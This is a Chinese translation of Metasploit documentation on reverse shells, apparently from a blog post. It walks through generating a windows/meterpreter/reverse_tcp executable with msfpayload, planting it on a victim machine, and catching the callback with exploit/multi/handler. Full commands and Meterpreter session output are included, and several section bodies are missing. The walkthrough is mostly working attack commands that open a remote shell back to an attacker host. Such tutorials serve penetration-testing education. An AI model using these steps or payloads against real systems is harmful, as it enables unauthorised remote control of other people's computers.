我用 LinuxKali LinuxMetasploit Development

【译】Metasploit:如何在 Metasploit 中使用

2018-06-10  本文已影响85人  王一航


众所周知,有两种流行的 Shell 的类型:反向 Shell (译者注:攻击者监听端口,被攻击者连接)和 正向 Shell(译者注:被攻击者监听端口,攻击者连接)
译者注:由于 C/S 结构的程序开发中,一般我们将监听端口的一方称为服务器,而主动连接的一方称为客户端。站在攻击者的角度上,正向 Shel 即为攻击者主动连接服务器,此谓之正向;而反向 Shell 中,攻击者为服务器,被攻击者主动连接攻击者,此谓之反向

Payload 的基本使用已经在 用户手册 中写的很详细了,但是,学习如何使用反向 Shell 仍然是一个在 Metasploit 社区中被询问最频繁的问题。另外,事实上反向 Shell 在十次渗透中几乎有九次都可能被用到,因此在这个文档中我们将对此进行深入解释。

列出所有的 Metasploit 反向 Shell

直到现在, Metasploit Framework 已经有了 168 个不同的反向 Shell 的 Payload
我们这里并没有列出所有的反向 Shell 的列表,因为没必要浪费文章的篇幅。
但是如果你想要得到这个列表的话,你可以使用 msfpayload 命令 (译者注:msfpayload 目前已经被 msfvenom 代替,msfvenom 由 msfpayload 与 msfencode 结合而成,具体官方公告可以参考:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

# ./msfpayload -l |grep reverse
./msfvenom -l |grep reverse

作为一个经验法则,我们一般总是选择 meterpreter(译者注:对比于反向 Shell 和 正向 Shell),因为 Meterpreter 的确能为我们提供更多的后渗透测试的支持。例如:Railgun(译者注:这是 Metasploit 对 Windows Meterpreter Session 提供的一个功能,可以注入 DLL 文件到指定的程序),后渗透测试模块,独立的 Meterpreter 命令(例如:摄像头控制),等等。

什么时候应该使用反向 Shell

如果你认为你所在的条件符合如下条件之一(但不限于),那么你就应该考虑使用反向 Shell

什么时候不应该使用反向 Shell

如何在生成 Payload 的时候配置反向 Shell Payload 的参数

如果你想使用 msfpayload(译者注:已被废弃)或者 msfvenom 来生成反向 Shell 的 Payload,那么你必须知道如何配置如下的参数:

当你在配置反向 Shell 的监听器的时候,你也需要至少配置 LHOST 和 LPORT 这两个参数,但是这和在生成 Payload 的时候的配置的含义有所不同

你应该确保监听器在目标机器执行反向 Shell 的 Payload 之前就开始监听

实例

在下面的实例中,我们有两个主机

主机 A

主机 B

第一步:生成可执行的Payload
在攻击者的机器上,运行如下 msfpayload 命令(或者 msfvenom,任何一个都可以)

$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

第二步:将可执行的 Payload 拷贝到机器 B (也就是受害者的机器)

第三步:在机器A(也就是攻击者)上配置 Payload Handler

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...

第四步:双击刚才生成的恶意可执行程序(在机器B,也就是受害者机器上)

第五步:这个时候应该就可以在攻击者的机器A上看到一个 meterpreter/payload 的 session 了

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

Meterpreter 命令提示符表示由当前 payload 生成的 session 已经被激活

上一篇 下一篇

猜你喜欢

热点阅读